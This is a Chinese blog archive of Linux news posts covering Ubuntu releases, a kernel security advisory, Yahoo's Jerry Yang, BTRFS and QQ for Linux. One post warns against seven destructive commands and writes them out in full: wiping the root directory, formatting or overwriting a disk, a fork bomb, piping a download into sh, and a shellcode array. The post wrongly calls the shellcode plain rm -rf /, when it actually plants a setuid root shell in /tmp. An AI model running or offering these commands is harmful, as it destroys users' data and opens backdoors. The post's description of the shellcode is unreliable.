標籤彙整: Linux

Google工程师谈论使用Ubuntu的经验

在Ubuntu开发者峰会上,Google工程师Thomas Bushnell谈论了Google开发者如何使用Ubuntu及其衍生版如Google定制的Goobuntu。 GGoogle雇员包括经理、软件工程师、翻译者,昔日的Unix开发者等都大量使用Ubuntu,甚至Google厨师也用Kubuntu,开发者主要 用其开发Chrome和Android。Goobuntu是Google定制的Ubuntu发行版,基于LTS版本,在Ubuntu 12.04 LTS发布之后,Google正计划升级Goobuntu,升级过程预计耗时最多4个月,其中工作站版本将要到明年才会更新。Google开发者喜欢的桌 面环境是KDE,有些人还要求移除Unity 和Gnome 3,改用xmonad。

看看谁更快:Ubuntu 10.04对决Windows 7

Linux经常被认为是比Windows速度更快的操作系统,那么在2010年里是否真的如此呢?Windows 7发布之前就赢得了广泛赞誉,目前在销量和份额方面都是节节攀升,而Linux阵营遭遇了诸多不顺:EXT4文件系统为了保证可靠性而慢了很多、 Linux系统内核已经很长时间没有显著性能增强了、开源Linux显卡驱动仍然难以匹敌官方闭源驱动、Linus Torvalds也对Linux内核的发展颇有微词…… 閱讀全文

Ubuntu发现影响所有版本内核安全漏洞

11月27日,Ubuntu开发者为6.06 LTS, 7.10, 8.04 LTS以及8.10这几个版本发布了重要安全更新,补丁修复了9个内核安全安全问题,因此强烈建议Ubuntu用户尽快升级自己的系统.

内核安全漏洞列表

1. The Xen hypervisor block driver couldn’t accurately validate incoming requests. Therefore, a user with root privileges could crash a system and cause a DoS (Denial of Service) attack by executing malicious I/O requests. This issue affects only Ubuntu 7.10.
2. The i915 video driver couldn’t accurately validate memory addresses. Therefore, an attacker could remap memory and cause a system crash, leading to a DoS (Denial of Service) attack. Ubuntu 6.06 LTS, 7.10 and 8.04 LTS users are not affected by this issue. Ubuntu 8.10 users should update their systems to correct this vulnerability!
3. When files were created in the setgid directories, the Linux kernel package couldn’t accurately strip permissions. Because of this, a local user could gain extra group privileges. This issue was discovered by David Watson and it affects only Ubuntu 6.06 LTS users!
4. When file splice requests were handled, the Linux kernel package couldn’t accurately reject the “append” flag. Therefore, a local attacker could create changes to random locations in a file by bypassing the append mode. This issue was discovered by Olaf Kirch and Miklos Szeredi, and affects only Ubuntu 7.10 and 8.04 LTS users!
5. The SCTP stack couldn’t accurately handle INIT-ACK. Because of this, a remote user could send specially crafted SCTP traffic and crash the system, leading to a DoS (Denial of Service) attack. This issue affects only Ubuntu 8.10 users!
6. The SCTP stack couldn’t accurately handle the length of bad packets. Because of this, a remote user could send specially crafted SCTP traffic and crash the system, leading to a DoS (Denial of Service) attack. This issue affects only Ubuntu 8.10 users!
7. The HFS+ filesystem had several flaws. Because of this, a user could be tricked to mount a malicious HFS+ filesystem, which could lead to a DoS (Denial of Service) attack and crash the system. This issue was discovered by Eric Sesterhenn, and affects all Ubuntu users!
8. The Unix Socket handler couldn’t accurately process the SCM_RIGHTS message. Therefore, a local attacker could create a malicious socket request and crash the system, leading to a DoS (Denial of Service) attack. This issue affects all Ubuntu users!
9. The i2c audio driver couldn’t accurately validate several function pointers. Therefore, a local users could obtain root privileges and crash the system, leading to a DoS (Denial of Service) attack. This issue affects all Ubuntu users!
Ubuntu 6.06 LTS 要将内核升级到linux-image-2.6.15-53.74
Ubuntu 7.10 要将内核升级到  linux-image-2.6.22-16.60
Ubuntu 8.04 LTS 要将内核升级到 LTS linux-image-2.6.24-22.45
Ubuntu 8.10 要将内核升级到 linux-image-2.6.27-9.19

7个极具杀伤性的Linux命令

如果您使用Linux,可千万要记得不要让傻孩子们敲入以下命令,尽管这些命令看上去相当复杂,但还是会对你的系统造成严重影响.
有一些会影响你的程序和系统运行,有一些会直接把你的盘抹掉,这些命令几乎没有什么可以挽回的余地.

1. Code:

rm -rf /
这个很简单,根目录会被擦光.

2. Code:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

没看懂?呵呵,其实就是16进制的[rm -rf /].

3. Code:

mkfs.ext3 /dev/sda

抹盘行为无疑是危险的

4. Code:

:(){:|:&};:

这不是90后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而死机.

5. Code:

any_command > /dev/sda

这个命令将会写入大量的RAW数据,可以导致数据丢失.

6. Code:

wget http://some_untrusted_source -O- | sh

和Windows一样,千万不要乱下载未经证实安全性的源,这年头Linux和胡萝卜一样,也不会保险.

7. Code:

mv /home/yourhomedirectory/* /dev/null

这条命令无疑会让系统抓狂,你的主目录会再也看不到.

Jerry Yang,我们和Yahoo都会记得你

这是一封离职信。在杨致远执掌雅虎一年后,已经发生和悬而未决的一切事情都似乎愈发复杂。与微软之间喧嚣漫长的收购战,与股东之间波谲云诡的争斗,给杨致远的前程和雅虎的未来蒙上了一层厚厚的迷雾。在杨致远身上曾经被寄予的厚望和如今普遍的置疑,很像那句著名的台词“我猜到了开头,却没猜到结尾。”

杨致远于1968年11月8日出生于中国台湾省台北市,其父在其两岁的时候去世,他和弟弟由母亲抚养长大。母亲是英文和戏剧教授,在杨致远10岁时,她带领两个男孩举家迁往美国,为孩子寻求更好的成长环境,定居在加利福利亚州圣何塞市,取英文名Jerry Yang。

刚到美国时,杨致远英文基础几乎等于零,他当时惟一知道的英文单词是Shoe(鞋子),不过,经过一段时间的磨合,他很快融入了这个“异国他乡”。那时他 一边上学,一边当报童,若干年后忆及此般往事,杨致远说,那种生活简直像在地狱。度过了这段艰难黑暗的日子,杨致远于1990年以优异的成绩进入离家不远 的斯坦福大学。该校的电机系是硅谷神州的组成部分,他就选修电机工程,只花了四年,他就获得了学士、硕士学位,并结识戴维·费洛,二人于1994年4月创 立Yahoo!,因此杨致远被称为“世纪网络第一人”,开启了人类的网络时代。

1995年4月12日,Yahoo!正式在华尔街上市,上市第一天的股票总价达到5亿美元。Yahoo!没有微软庞大的财力,也没有SUN那样成熟的经验 和技术资本。甚至网景公司,克拉克与安迪森这对“梦幻组合”,创业时还有克拉克带来的400万美元。Yahoo!两位创造人几乎是从零开始的,当时他们还 只是两名穷学生。

近年来,Yahoo市场地位下降,市值缩水。2007年6月19日,雅虎宣布公司联合创始人杨致远重新出任CEO。这一任命合情合理,众望所归。因为,在 过去几年,在IT类媒体重要位置出现的互联网新闻和评论大都是围绕Google同微软之间的竞争,遵循媒体思路演绎的雅虎则显得有些冷清,换句话说,雅虎 被边缘化了。

人们往往喜欢同最好的相比较。苹果的创办人乔布斯在回到苹果之后,一系列的创新使濒临破产的苹果重新走到了时代的前头,投资者无疑是寄望杨致远,能够成为 雅虎的“乔布斯”。当时杨致远似乎已经准备好迎接挑战。他在接受记者采访时表示:“我已经做好了准备,有信心将雅虎带到一个更高的层次。我绝对不是临时 CEO,雅虎需要一个长期的掌门人。”

杨致远的使命非常简单:作出一些改变。杨致远提出了一个百日计划,但是这个计划就外界看来并没有大刀阔斧的东西,这个时候,人们开始担忧起他没有具体经营 管理经验的问题 。此前,他没有管理规模如此巨大且复杂的公司的记录。不利的经营环境在持续着,随着 Google拥有越来越强的市场地位,以及受次贷危机影响的经济环境,2007年第四季度,雅虎的利润不升反降,只有2.06亿美元。

截至到2007年底,雅虎持有其它上市公司的股权市值为140亿美元,持有股权的公司主要包括阿里巴巴、雅虎日本和购物网站Gmarket。分析人士指 出,这意味着在微软提出并购前,扣除雅虎持有26亿美元的现金和其他可以迅速变现资产,资本市场对雅虎自身目前正在经营的全部业务估值还不到100亿美 元。

2008年初,杨致远放言“是时候让雅虎再次唱响了”。但随后,雅虎宣布裁员1000人。之后的时间里,杨致远抵抗微软并购,结盟AOL,也推出了新广告 平台,希望重振收入。但雅虎依然在经济危机中一路下滑,直到11月份时再度宣布裁员1500人。在此期间,雅虎高管离职多达114人。

毋庸讳言,作为雅虎的缔造者和守护人,杨致远对雅虎的价值判断坚定而执著,甚至有些固执。这份固执既值得尊敬,但也足以让包括一些大股东在内的人发疯。大多数人认为,他似乎对自己的能力有着不可动摇的信念,同时毫不理会他人的观点。

今年5月4日,微软宣布放弃收购。因为杨致远回绝了微软提出的报价。在西雅图机场与鲍尔默及微软平台和服务部门负责人凯文·约翰逊会面时,杨致远的要价是37美元。虽然这已低于先前40美元的要价,但距离微软准备支付的每股33美元价格仍有相当距离。

“这样的价格微软无法接受。”微软巴尔默表示:“很明显,雅虎并不希望成为微软的并购目标。”杨致远则针锋相对地表示,在出价收购雅虎后,鲍尔默的行为反复无常。这个结果也许看着像一场胜利。杨致远成功摆脱了微软这头巨兽过去3个月的追逐,维持了公司的独立性。

“我认同杨致远的看法,微软不应夺走雅虎的搜索资产,这将导致公司其它资产更不完整。如果雅虎被收购,就把它整体出售给某家愿意承担风险的公司吧。”英国《金融时报》专栏作家约翰-加普认为。

但随着雅虎股价无可避免地向微软在2月1日以62%的溢价收购雅虎前的水平回落,批评接沓而至,更有措词严厉地谴责称——首席执行官杨致远在管理上市公司时未能将股东利益放在首位。由此,杨致远开始面临着另一场战争——与公司股东的战争。

因为在估值问题上,大部分意见认为,雅虎价值并未被微软低估。很多股东都会接受微软这个报价,特别是在近期买进雅虎股票的投机者因预计交易会达成,他们推动雅虎股价连续上涨。

投机者之一、雅虎大股东、美国亿万富翁卡尔·伊坎不失时机地跳了出来,声称要在将于8月1日召开的年度股东大会推翻现任董事会,让杨致远下台。现实往往充 满了戏剧性,就在冲突看似不可避免之际,突然峰回路转。在8月1日股东大会的 “大限”将至之时,雅虎公司21日发表声明说,它已与卡尔·伊坎达成和解协议,同意其加入董事会及两名由其指派的人士加入雅虎董事会,作为妥协的条件,伊 坎将放弃另组董

事会争夺控股代理权。籍此,双方都保存了颜面,同时也避免了选出一个唯一使命就是将雅虎出售给微软的新董事会这种噩梦般的情形──那将肯定无法为雅虎争取到最好的价钱。

美国《财富》撰文称,杨致远可能成为微软雅虎收购案最后的输家,面临下台的可能。作者Adam Lashinsky 在文中称,他成功击退了微软和伊坎,但他未给股东带来任何价值。雅虎不仅股价下跌,整个公司也陷入混乱状态。它在搜索广告市场份额的争夺战中不断败给谷 歌;它的产品问题不断;高管大量离职。所有这些都显示出:雅虎表现不佳,或许是由于整体经济放缓所致,而假如这样的话,雅虎任用一位老练的运营高管来掌舵 就显得更为关键。文章预测,杨致远撑不过年底。对此,杨致远至今未作回应。

雅虎拒绝微软收购的影响因与谷歌的合作提议而减弱。但本月早些时候,在美国反垄断机构就双方合作提出法律质疑后,谷歌选择了放弃。就在交易流产当天,杨致远在出席旧金山Web 2.0峰会时,对谷歌不愿在法庭上为交易辩护表示出了遗憾。

这一年里,经济危机也一路走深,“大家都感受到寒风阵阵,股价都跌了很多,Google、eBay等,都跌了很多。当然雅虎跌的更多了。问题不在于他辞 职,而是美国金融风暴导致了民众消费收缩,美国作为消费大国,消费一收缩就会产生问题,连带银行业不敢贷款、老百姓不愿意花钱,很多行业就出现了问题。连 锁引起了靠广告收入的公司有问题。”

最后,离开杨致远的是雅虎的股东们。雅虎股价周一收盘报10.63美元,自杨致远担任CEO迄今已经累计下跌逾60%,并远低于微软2月份提出的每股31 美元的报价。对于杨致远的辞职,业界并不感到意外。很多分析师认为,拒绝微软收购是导致杨致远此次辞职的主要原因。如今,雅虎市值已不足150亿美元。这 意味着拒绝微软使雅虎股东损失了300多亿美元。

11月18日早9时,雅虎宣布,CEO杨致远同意在董事会找到继任者后辞职。雅虎董事长罗伊·博斯托克(Roy Bostock)在声明中称:“jerry和董事会就权利交接的时间进行了沟通,一致同意目前已到将CEO职位交接给新领导人的时机,他将带领公司进入下 一个阶段”,“我们对杰瑞在出任CEO的18个月里所作出的诸多贡献表示感谢,我们也欣慰地得知,他计划继续担任公司核心高管和董事,并将积极参与公司事 务。”雅虎表示,杨致远将恢复“雅虎酋长”一职。

不以成败论英雄,杨致远作为雅虎的创始人,作为一名酋长守护着企业的文化,他是有诸多贡献的。他一直希望是雅虎是家独立的公司,而不是附庸,至少这场战争他是胜利者。

迁移到Linux平台应考虑的十个问题

随着经济环境的恶化和Vista没有获得太多的认可,很多IT部门考虑将平台向Linux迁移。尽管很多人认为Linux优于windows,但是在更换平台前应该先要慎重考虑。否则到最后你可能到发现必须得回到原来的平台,如果你考虑向Linux平台迁移,应先考虑以下十个问题:

1.那些私有的,关键性的程序能否在新的平台运行?
考虑平台迁移必须考虑的第一件事是:是的,可能大部分软件在Linux平台下都有类似的程序可以使用。比如photoshop,可以用Gimp代替,Adobe Pagemaker可以用Scribus代替。但是,有的特定软件在Linux平台没有相应的跨平台版本,在这种情况下,你就得使用Wine,或者虚拟机 来运行windows上的程序。但是这样会花费很多时间和精力,有的时候还不是能很稳定运行,特别是使用Wine的时候。

如果你有关键的程序专门是为windows开发的,那么最好不要进行平台迁移,以使这些软件能正常使用,当然要是这些关键软件是基于WEB的话,那么你可以进行迁移,因为使用Firefox也能达到和IE同等的效果。

2.你计划使用哪个桌面环境?
对于windows和Mac OS X,桌面倒是很选择,可是对于发行版数量庞大的Linux选择面就更广了。如果你选择一个错误的桌面环境,你的工作效率可能低了很多,但是,选择合适的桌面也不是很难。

如果你的用户之前习惯使用Mac OS X,那么最好选择Gnome;如果之前习惯使用XP,那么最好选择KDE 3.5.x;如果之前习惯Vista,那么最好的选择是KDE4.X。Linux桌面环境定制性可以超越windows 和Mac OS X。你可以发挥自己的想象力,为公司定制一个特别的桌面环境。但是基于这点,你必须先深入统计用户喜欢使用哪种桌面环境。

3.你的部门能胜任这个平台吗?
向Linux平台迁移可能导致的最大问题就是,如果不进行额外的培训,员工不一定能随着平台改变自己的习惯。如果员工很了解windows,不意味着他能 很好的管理Linux系统和网络。如果你计划进行平台迁移,先了解一下员工对新操作系统的了解程度。如果他们不是很了解,那么无论在迁移时还是迁移之后都 将遇到很大的麻烦。我们当然希望自己的员工精通所有的技术,但是现实是大部分IT专家也只是精通于自己研究的领域。但是对于大部分IT管理员来说,使用 Linux当然不是什么难事。

4.你的公司从windows系统获益了吗?
很多公司和机构使用windows系统获益与否都不是马上显现的。比如很多大学为学生提供很多软件,类似于Visual Studio和Ofiice,部署在学校的电脑上。如果进行平台迁移,这些软件就报废了,损失是很巨大的。当然如果使用Linux,那么将得到免费的软件 支持,可以节约不少开支。

5.雇员使用很多便携式媒体设备吗?
Linux已经对多媒体设备的支持进行很大的改进,但是仍然不如windows方便。很多Linux新的发行版本做得很好,可移动磁盘安装和使用都是件简 单的事情,这些过程都是全自动的。如果很多员工使用可移动磁盘,那么就得选择一个能很好支持这些设备的发行版,比如Mandriva。

6.你的硬件支持新的平台吗?
一般来说,这已经不再是个问题,但是对于为了节约成本而使用廉价硬件的公司来说,这就是个问题了。大多数情况下最大的问题就是集成显卡,虽然升级显卡问题不大,但是如果公司的机器太多,如果为了迁移系统而进行显卡升级,那么花费肯定也不低。

另外如果在笔记本上部署也是个很大的阻碍,无线网卡能用吗?声卡显卡都能正常工作吗?高兴的是Linux可以使用LiveCD,你可以通过它来测试你的硬件是否支持相应的系统。

7.你在使用Active Directory吗?

如果你的公司很大程度地依赖Active Directory,如果从Active Directory迁移OpenLDAP将是件困难的事情,因为他们的功能不一致。如果非得进行这个迁移,你可以使用pwdump2 和ActiveState Perl来管理.但是别指望能通过输入简单的命令或者点击图标就能完成。

8.你是否外购技术支持?
很大大公司都花钱外购技术支持,如果你的公司是这样的情况,那么向Linux迁移前你最好先进行调查。如果计划采用Unbuntu,RedHat,或者 Novell Linux,那么你可以购买技术支持。但是对于其他发行版,你可能就不能获得同等级的技术支持了,他们大多是通过邮件的方式来进行支持。

9.你是否受制于软件的许可费用?
如果你已经和安全公司定下购买安全软件的合同,那么你就是在浪费钱了,因为这些服务在Linux也许用不到。如果你还在为安全软件付费,那么最好进行平台迁移,它可以为你省不少安全服务的费用。

10.哪些雇员能适应平台迁移?
实际上你可以控制平台迁移的范围,把它做得更聪明,更有效率。或许很多雇员能适应迁移的要求,比如它主要进行基于web浏览器的工作,你可以把他列入平台 迁移的对象,这对他们来说没多大的变化。 对于经常使用office套装工作的雇员,可以不进行平台迁移或者使用OpenOffice来代替。而对于使用专业软件的人员来说,最好不要进行平台迁 移。

官方正式发布 Ubuntu 8.10 ( Intrepid Ibex )

Ubuntu 官方在刚刚已经正式发布了被受期待的 Ubuntu 8.10 ( Intrepid Ibex ) !其实在这之前就可以在镜像服务器下载 Ubuntu 8.10 ( Intrepid Ibex ) 正式版的ISO镜像文件了,为了不影响 Ubuntu 8.10 正式版的ISO文件向各地镜像服务器分发的进度,我们并没有公布下载链接。目前官方已经正式开放了 Ubuntu 8.10 正式版的ISO文件下载服务。 今天从世界各地涌入的巨大下载量也是对各个官方服务器一次严峻的考验。 Ubuntu 首页宣布 Ubuntu 8.10 正式版发布:

官方的下载界面已经从Ubuntu 8.10 RC 更改为 Ubuntu 8.10 ( Intrepid Ibex ) 正式版了:

Ubuntu 8.10 ( Intrepid Ibex ) 正式版的下载地址:
http://cn.releases.ubuntu.com/8.10/
http://tw.releases.ubuntu.com/8.10/
http://releases.ubuntu.com/releases/8.10/

Ubuntu 8.10 ( Intrepid Ibex ) 正式版ISO镜像文件

MD5码列表

ea6d44667ea3fd435954d6e1f0e89122 *ubuntu-8.10-alternate-amd64.iso
f9e0494e91abb2de4929ef6e957f7753 *ubuntu-8.10-alternate-i386.iso
f9cdb7e9ad85263dde17f8fc81a6305b *ubuntu-8.10-desktop-amd64.iso
24ea1163ea6c9f5dae77de8c49ee7c03 *ubuntu-8.10-desktop-i386.iso
e3028a105a083339be8e5af5afbe7444 *ubuntu-8.10-server-amd64.iso
a2ec9975a91e1228c8292ed9799dc302 *ubuntu-8.10-server-i386.iso
2796c696ab368415a30fddc8278e08b0 *wubi.exe

友情提示: alternate 为文字界面的安装版本, desktop 为包含 Live CD 的图形界面安装版本, server 为服务器版本, i386 为32位的系统版本, amd64 为64位的系统系统版本,请根据你自己的需要下载相应的版本。由于版本比较多,下载的时候不要下错版本了哟,做了又费带宽又费电又费精力的事就不好了:)

BTRFS:更好的Linux文件系统?

所有操作系统的核心是文件系统,它提供了对数据的读写路径。自2001年开始,Ext3一直是主流的Linux文件系统,但是现在出现了另外一种更好的文件系统。
Oracle工程师Chris Mason带来的开发团队研发了名为BTRFS(Better FS)的文件系统。由于英特尔、Red Hat、惠普和IBM等多厂商的支持,BTRFS将成为新一代Linux文件系统的生力军。

Oracle 公司Linux Kernel开发主管Chris Mason表示:“我们主要的目标是扩展Linux可用的存储空间。扩展不仅仅是解决存储空间问题,而且还意味着能够从一个清晰的界面进行管理,让用户看 到使用情况,从而提高可靠性。”Mason指出,虽然硬盘驱动器容量越来越大,但是这些驱动器上的错误率并没有降低下来。Mason表示:“我们需要很容 易地了解到什么时候磁盘中出现错误信息,而且我们需要能够做连续的文件系统检查、以一种更加稳定的方式进行恢复,现在我们实现了这一点。”

对于目前的Ext3 Linux文件系统,扩展以满足大容量存储空间对用户来讲是一种挑战,而这其中有很多原因。原因之一是,Ext3并不是针对企业和消费用户现在正在使用的 大型数据池设计的。Mason指出,在Ext3系统中,每4k的数据就有一个元数据指向这4k数据在驱动器中的位置。所以,当文件容量变得越来越大,元数 据也就越来越多,这样效率就很低。Mason表示:“BTRFS采用了extent,也就是说从这些数据块的起始位置使用磁盘的一个区域。”extent 方法要比Ext3系统4k数据块的方法更高效、更具可扩展性,这也是新的Ext4文件系统(即将推出的2.6.28 Linux内核的组成部分)的一部分。虽然Ext4中增加了extent,但是Mason发现BTRFS还增加了其他一些特性,例如快照、在线文件连续性 检查以及快速增量备份。

Red Hat公司Ric Wheeler表示:“我们认为BTRFS具有成为下一代主流Linux文件系统的潜力。”Wheeler表示,现在Red Hat工程师正在积极开发这个项目。英特尔也对BTRFS很感兴趣。英特尔公司开源技术中心主管Imad Sousou表示,英特尔看好BTRFS,而且正积极致力于BTRFS的研发。英特尔认为,他们具有很好的技术和架构策略来升级Linux文件系统以支持 性能和容错等方面不断增长的需求。惠普也加入到这个行列中来,将他们传统的UNIX加入其中。惠普开源和Linux部门首席技术官Bdale Garbee表示:“惠普对BTRFS很感兴趣,因为BTRFS的目标是为了提供一个与Tru64 AdvFS类似的核心组以及其他功能特性。”今年六月,惠普宣布开源其Tru64 AdvFS文件系统,这款系统最初源自于Digital Equipment公司的Digital Unix。Mason表示,几年前他开始使用Tru64,现在惠普宣布AdvFS的开源将对BTRFS的发展起到重要的推动作用。

Mason预计到2008年年底之前Linux用户将可以使用到测试版的BTRFS。现在他们的目标就是开发一款作为2.6.29 Linux内核一部分的BTRFS。Mason表示:“本周,我们做了巨大的格式变动,未来还有更多小的改动。一旦完成,BTRFS将提供给测试用户使 用。”目前,Mason面临的最大挑战就是如何确保BTRFS的稳定性。Mason表示:“因为我们还将继续增加新的特性,所以未来将会有大量的改变。现 在大多数还只是软件设计以确保能够易于测试,不会引发衰退。”

Linux文件系统reiserfs作者Hans Reiser正式被宣判入狱15年

新闻来源:Solidot

Linux文件系统reiserfs作者Hans Reiser因谋杀妻子正式被宣判入狱15年。今年早些时候,Reiser承认了罪行,并领着警察挖掘出妻子的遗体。他的陪审团在4月份判定Reiser一级谋杀罪名成立,将面临25年的监禁。但是随后政府和他进行了秘密交易,如果他透露妻子的遗体并放弃上诉的权利,他的入狱期限将降至15年。

在宣判前Reiser发表声明,“我真诚的为我的罪行向社会致歉。每一个生命都是神圣的,我取走了一个人类的生命,对此我感到难过。”Hans Reiser在2006年9月下午4:30杀手了妻子Nina,他用手捂住她的嘴,使她窒息而死。他暂时将其藏在浴室,后移至汽车,尸体一直在车上呆了两 天直到他寻找到埋藏的地点。”

Ubuntu获得Linux World Expo 2008 “最佳桌面方案”称号

在加利福尼亚旧金山举行LinuxWorld Conference and Expo 2008上,Ubuntu因为对Linux桌面化的贡献而获得了“最佳桌面方案”称号.
本次评奖共设12个奖项,专门授予对Linux和开源事业发展有突出创新贡献的社团.目前Ubuntu在22个国家拥有机构和雇员,Ubuntu本身也是Linux发行套件中在桌面平台最受欢迎的一个.以下是所有奖项:

閱讀全文

QQ for Linux的后续改进计划

QQ for Linux的版本发布后,终于可以扔掉EVA了,就是现在在这个ubuntu上,常使用的QQ就无法使用EVA,虽说现在的版本确实不够完善,比如无法使用传送文件,没有聊天记录保存,但是起码能正常的使用到QQ了,而且没有花哨的功能,不知道以后会怎么样。
今天在腾讯论坛上看到了QQ for Linux的后续改进计划,看来使用linux又多了一分肯定。期待中!

计划改进如下:2008-8-6 15:37:03 更新:

近期会优先解决以下问题:
1、支持后台Tcp连接方式
2、降低安装包对软件系统的需求
3、发布支持64位版本的安装包

在后续的版本中,将会合入以下功能:
1、支持截屏
2、支持发送自定义图片(截屏)
3、和好友间传输文件
4、支持来消息的声音提示
5、支持群管理
6、支持好友分组的管理
7、支持好友备注的显示
8、优化稳定性和性能

QQ for Linux

腾讯公司正式发布Linux版QQ,这个特殊版本的QQ支持最新的一些Linux发行版本,包括但不仅限于以下版本:SuSE 9 或更高,Ubuntu 7.10或更高,Fedora Core 8或更高。QQ for Linux也可以在其他符合软硬件环境的Linux发行版本上运行,但是不能保证运行完全没有问题。

QQ for Linux基本界面和风格和window版本都是相同的,但是QQ for Linux目前只能提供最基本的IM聊天功能。

Linux操作系统是Windows操作平台以外最重要的个人操作系统。作为免费的开源操作系统,Linux一直以系统开放、功能强大而得到众多开发者的青睐,并成为众多企业级应用的主流操作系统之一。

Source Forge 宣布2008年度社区选择奖

SourceForge宣布了2008年度社区选择奖
最可能改变世界的项目:Linux
最佳项目、最佳企业项目和最佳教育项目皆为OpenOffice.org

最有可能成为下个10亿美元收购项目:phpMyAdmin
最佳多媒体项目:VLC
最佳游戏项目:XBMC
最佳新项目:Magento
最有可能被起诉侵犯专利的项目:Wine Is Not an Emulator
最有可能让用户被过时的行业协会为保护死亡的商业模式起诉的项目:eMule
最佳系统管理工具:phpMyAdmin
最佳开发者工具:Notepad++

哪一个 Linux 发行版最流行

很多 Linux 的粉丝都在关心 Linux 的哪一个发行版的关注度或者是说哪个发行版的人气最高的。 其实通过 Google Trends 来查看,各个发行版在搜索引擎里的搜擎热度就能看出来各个发行版被大众所关注的程度。这或许是从一个侧面来分析 Linux 发行版在关注度最好的一个方法了吧。 Linux 桌面的三大发行版( Ubuntu Fedora OpenSUSE )在今年的上半年都已经发布了自己的最新版,到底这几个发行版本的关注度是个什么样的情况呢?

可以从曲线图中看到 Ubuntu 从 2004 年发布以来,被关注的程度越来越高。而且关注度也是位居三大桌面发行版的榜首。在2007年 - 2008年 ,Ubuntu 那条蓝色的曲线都有几个峰值,那个就是 Ubuntu 发行新版的那段时间。

 

 

过去在桌面占有率很高的 Red Hat 每年的关注度呈现缓慢下滑的趋势。Fedora 和 Debian 的关注度相当。

查看Google Trends: http://www.google.com/trends?hl=zh-CN

服务器操作系统:Unix平稳 Windows欲甩Linux

微软新一代服务器操作系统的发布,不仅大大增强了自身在服务器领域的实力,而且有拉开与Linux差距之势.
在近几年的服务器操作系统市场,Unix市场的萎缩,Linux增速的减缓和Windows快速增长已经是不争的事实.而近日,随着微软WindowsServer2008的发布,服务器操作系统市场的竞争格局如何变化再度引发业内的关注.
向Linux迁移减缓Unix趋向平稳

近几年,曾经在服务器操作系统市场占据优势的 Unix遭到了来自Windows和linux的冲击,市场占有率每年都会有不同程度的下降.众所周知,Unix服务器的优势主要是硬件方面的高性能和高可靠性.长期以来,各种重量级的服务器厂商,如Sun、惠普、IBM、SGI等公司开发的高性能计算机上,只有Unix和他们的硬件可以很好地结合.所以,有业内专家认为,在Unix拥有的高性能和可靠性中,有一部分功劳应该归功于服务器硬件.但随着计算机的迅猛发展,硬件的成本不断下降,许多厂商的服务器也开始拥有不错的性能.特别是目前基于X86架构所流行的多核的硬件技术,以及集群方面软件技术的成熟,尤其是Windows和Linux在性能上的提升以及对集群架构和高性能硬件的支持,用户完全可能以比Unix服务器低几个数量级的成本来构造出和Unix服务器相当的系统,并且其维护成本也比 Unix服务器低得多.所以有不少用户开始从Unix的应用开始向 Windows和Linux的应用迁移.鉴于 Unix和Linux的亲密的“血缘”关系,Unix的用户更倾向于向Linux迁移.

尽管Unix向Linux和Windows的迁移让Unix的市场份额不断萎缩,但随着时间的推移,目前这种迁移的趋势已经到达一个瓶颈.更为重要的是,以IBM为首的Unix阵营出于高利润的考虑仍旧在不断地推出新的Unix系统以吸引新的用户.日前,IBM正式将AIX操作系统升级版本投放市场.这是IBM公司首次为了吸引更多的客户使用它的Unix开发平台而采取行动.对此,IBM副总裁、负责systemp项目的市场运作和策略制定的ScottHandy对《中国电子报》记者讲,公司将有代表性地选择客户,为他们提供新操作系统的测试版本.

在这种情况下,IBM发布了改进的AIX,希望能借此机会,利用AIX和Power6处理器相结合的优势,吸引更多的用户.从目前服务器市场的销售额Unix仍旧保持着稳定这一事实可以看出,Unix在未来的一段时间里,仍有其生存和发展的空间.在中国市场,目前的金融、电信等关键性领域,Unix的应用依旧不少,这一来是因为Unix还是具有比较高的可靠性,二来是因为从Unix向其他系统的迁移对于用户来说比较麻烦.

Windows频发力Linux亟待开拓新用户

众所周知的事实是,Linux经过了10多年的发展,其在桌面端的应用始终未能形成气候,所以在提到Linux应用的时候,大多是指Linux在企业级服务器的应用.事实的确如此,由于Linux性能稳定和成本相对低廉,使得Linux在服务器中所占的市场份额是最大的,约占30%左右,其他的市场份额均被Unix和Windows瓜分.但是随着Windows在服务器领域的不断发力, Linux以往的一些优势正在遭受挑战.例如 Linux的安全性比Windows高就是典型的例子.

众所周知,服务器一般都是企业级的应用,所以系统的安全性无论是对于企业应用的系统还是企业的业务来说都至关重要.但有一点人们忽视了,那就是企业级的应用一般跑的程序都相对的单一.例如有的企业服务器专门来跑ERP(企业资源管理),有的只跑数据库,这是Linux的特点所决定的.与之相反,基于Windows的服务器往往通过虚拟化会跑多个应用,既然是跑多个应用,与只跑单一应用的 Linux相比,其出现问题的几率就相对要大一些.相关的业内专家在接受《中国电子报》记者采访时称,所谓的Linux的稳定性只是相对的,应用相对单一和简单,所以稳定性相对就要高些.这从另一个层面印证了有关Linux在服务器领域应用中与Windows相比只是相对稳定的结论.同时说明Linux系统的问题在于其许多功能尚未被广泛使用,比如客户操作系统环境的虚拟化,Linux系统在这一领域的配置是全新的,而Windows系统则可将当前服务器整合为虚拟服务器.随着微软WindowsServer2008的发布,Windows相对于Linux在虚拟化方面的优势更是得到了加强.

对此,赛迪顾问软件分析师王强对《中国电子报》记者讲,在企业日益注重节能和成本的今天,虚拟化与绿色是Linux新的增长点.所以从未来看,Linux应该继续在稳定性、安全性和虚拟化应用上下功夫,以和Windows争夺Unix的市场,让自己目前还算稳固的服务器市场加快增长.而中国开源推进联盟主席陆首群在接受《中国电子报》记者独家采访时称,Linux如果想要进一步发展的话,应该更往高端,即Unix应用的领域去发展,以争取脱离Unix的用户向linux迁移.

